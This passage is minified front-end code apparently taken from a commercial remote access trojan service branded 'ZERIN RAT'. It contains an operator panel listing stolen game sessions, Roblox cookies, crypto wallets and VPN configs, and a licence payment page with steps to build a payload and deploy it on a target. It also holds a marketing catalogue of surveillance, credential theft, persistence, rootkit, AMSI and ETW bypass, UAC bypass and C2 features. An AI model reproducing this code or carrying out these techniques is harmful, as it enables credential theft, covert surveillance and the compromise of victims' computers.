Games"}),a.jsxs("button",{onClick:()=>yr(c.epic.config,"GameUserSettings.ini"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," GameUserSettings.ini"]})]}),(((E=c.minecraft)==null?void 0:E.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",c.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:c.minecraft.map((L,ie)=>a.jsxs("button",{onClick:()=>yr(L.data,`${L.launcher}_accounts.json`),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",L.launcher]},ie))})]}),((ce=c.roblox)==null?void 0:ce.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),c.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:L=>S(c.roblox.cookie,L),children:[".ROBLOSECURITY: ",c.roblox.cookie.slice(0,40),"..."]}):c.roblox.cookie_file?a.jsxs("button",{onClick:()=>yr(c.roblox.cookie_file,"RobloxCookies.dat"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," RobloxCookies.dat"]}):null]}),!((J=c.steam)!=null&&J.found)&&!((xe=c.epic)!=null&&xe.found)&&!((ke=c.minecraft)!=null&&ke.length)&&!((ze=c.roblox)!=null&&ze.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx($n,{title:"Crypto Wallets",count:((X=c.wallets)==null?void 0:X.length)??0,expanded:d.has("wallets"),onToggle:()=>k("wallets"),children:(re=c.wallets)!=null&&re.length?a.jsx("div",{className:"space-y-3 p-4",children:c.wallets.map((L,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:L.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",L.files.length," file",L.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:L.files.map((de,lt)=>a.jsxs("button",{onClick:()=>yr(de.data,de.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",de.name]},lt))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx($n,{title:"VPN Configs",count:((oe=c.vpn)==null?void 0:oe.length)??0,expanded:d.has("vpn"),onToggle:()=>k("vpn"),children:(Oe=c.vpn)!=null&&Oe.length?a.jsx("div",{className:"space-y-3 p-4",children:c.vpn.map((L,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:L.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",L.files.length," file",L.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:L.files.map((de,lt)=>a.jsxs("button",{onClick:()=>yr(de.data,de.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",de.name]},lt))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((et=c.errors)==null?void 0:et.length)??0)>0&&a.jsx($n,{title:"Errors",count:c.errors.length,expanded:d.has("errors"),onToggle:()=>k("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:c.errors.map((L,ie)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[L.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:L.error})]},ie))})})]})]})}),p&&a.jsx("div",{className:"fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent pointer-events-none animate-fade-in",style:{left:p.x,top:p.y,transform:"translate(-50%, -100%)"},children:p.text})]})}function $n({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:"w-full flex items-center gap-2 px-4 py-2.5 text-left hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}async function FV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const WV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function UV(){const{id:e}=il(),[t,n]=m.useState(null),[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useCallback(async()=>{if(e)try{const f=await FV(e);n(f)}catch{i("Payment not found")}},[e]);m.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";m.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?WV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),a.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs(ut,{to:"/",className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),a.jsx(ut,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),a.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:a.jsx("div",{className:"w-full max-w-lg",children:r?a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),a.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),a.jsx(ut,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),a.jsxs("div",{className:"flex items-center gap-2",children:[!c&&a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),a.jsxs("div",{className:"px-6 py-6 space-y-6",children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),a.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),a.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),a.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&a.jsxs("div",{children:[a.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),a.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&a.jsxs("div",{className:"space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),a.jsx("div",{className:"flex items-center gap-2",children:a.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),a.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:s?"Copied!":"Copy Key"}),a.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",a.jsx(ut,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),t.license_key&&a.jsxs("div",{className:"space-y-4 pt-2",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-zerin-accent/20 to-transparent"}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase text-center",children:"Getting Started"}),a.jsxs("div",{className:"space-y-3 text-[12px] font-mono text-zerin-text-dim leading-relaxed",children:[a.jsxs("div",{className:"flex gap-3",children:[a.jsx("span",{className:"text-zerin-accent/50 shrink-0",children:"01"}),a.jsxs("span",{children:["Go to"," ",a.jsx(ut,{to:"/register",className:"text-zerin-accent hover:underline",children:"/register"})," ","and create an account using your license key."]})]}),a.jsxs("div",{className:"flex gap-3",children:[a.jsx("span",{className:"text-zerin-accent/50 shrink-0",children:"02"}),a.jsxs("span",{children:["Log in and navigate to ",a.jsx("span",{className:"text-zerin-text",children:"Build"})," in the sidebar to generate your first payload. Configure callback URL, sleep interval, jitter, and persistence — then hit Build."]})]}),a.jsxs("div",{className:"flex gap-3",children:[a.jsx("span",{className:"text-zerin-accent/50 shrink-0",children:"03"}),a.jsxs("span",{children:["Download the compiled ",a.jsx("span",{className:"text-zerin-text",children:".exe"})," and deploy it on your target. The agent will appear on your Dashboard within seconds."]})]}),a.jsxs("div",{className:"flex gap-3",children:[a.jsx("span",{className:"text-zerin-accent/50 shrink-0",children:"04"}),a.jsxs("span",{children:["Click the agent to open its console. Use"," ",a.jsx("span",{className:"text-zerin-text",children:"shell"}),","," ",a.jsx("span",{className:"text-zerin-text",children:"powershell"}),","," ",a.jsx("span",{className:"text-zerin-text",children:"screenshot"}),","," ",a.jsx("span",{className:"text-zerin-text",children:"creds"}),","," ",a.jsx("span",{className:"text-zerin-text",children:"download"})," ","and 40+ other commands."]})]})]}),a.jsxs("div",{className:"bg-[#04040a] border border-[#1a1a22] p-3 space-y-1.5",children:[a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"Quick Command Reference"}),a.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-0.5 text-[11px] font-mono",children:[a.jsxs("span",{children:[a.jsx("span",{className:"text-zerin-accent",children:"shell"})," ",a.jsx("span",{className:"text-zerin-text-muted",children:""})]}),a.jsx("span",{className:"text-zerin-text-muted/50",children:"Run CMD command"}),a.jsx("span",{children:a.jsx("span",{className:"text-zerin-accent",children:"creds"})}),a.jsx("span",{className:"text-zerin-text-muted/50",children:"Grab all passwords"}),a.jsx("span",{children:a.jsx("span",{className:"text-zerin-accent",children:"screenshot"})}),a.jsx("span",{className:"text-zerin-text-muted/50",children:"Capture screen"}),a.jsxs("span",{children:[a.jsx("span",{className:"text-zerin-accent",children:"download"})," ",a.jsx("span",{className:"text-zerin-text-muted",children:""})]}),a.jsx("span",{className:"text-zerin-text-muted/50",children:"Exfil a file"}),a.jsxs("span",{children:[a.jsx("span",{className:"text-zerin-accent",children:"upload"})," ",a.jsx("span",{className:"text-zerin-text-muted",children:" "})]}),a.jsx("span",{className:"text-zerin-text-muted/50",children:"Drop a file"}),a.jsx("span",{children:a.jsx("span",{className:"text-zerin-accent",children:"persist_com"})}),a.jsx("span",{className:"text-zerin-text-muted/50",children:"COM hijack persist"}),a.jsxs("span",{children:[a.jsx("span",{className:"text-zerin-accent",children:"sleep"})," ",a.jsx("span",{className:"text-zerin-text-muted",children:""})]}),a.jsx("span",{className:"text-zerin-text-muted/50",children:"Change beacon rate"}),a.jsx("span",{children:a.jsx("span",{className:"text-zerin-accent",children:"sysinfo"})}),a.jsx("span",{className:"text-zerin-text-muted/50",children:"System overview"})]})]}),a.jsx("p",{className:"text-[10px] text-zerin-text-muted/40 text-center font-mono",children:"Full command list available in the agent console. Join our Telegram for support."})]}),(t.status==="failed"||t.status==="expired")&&a.jsxs("div",{className:"text-center space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),a.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),a.jsx(ut,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),a.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const Vi=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / 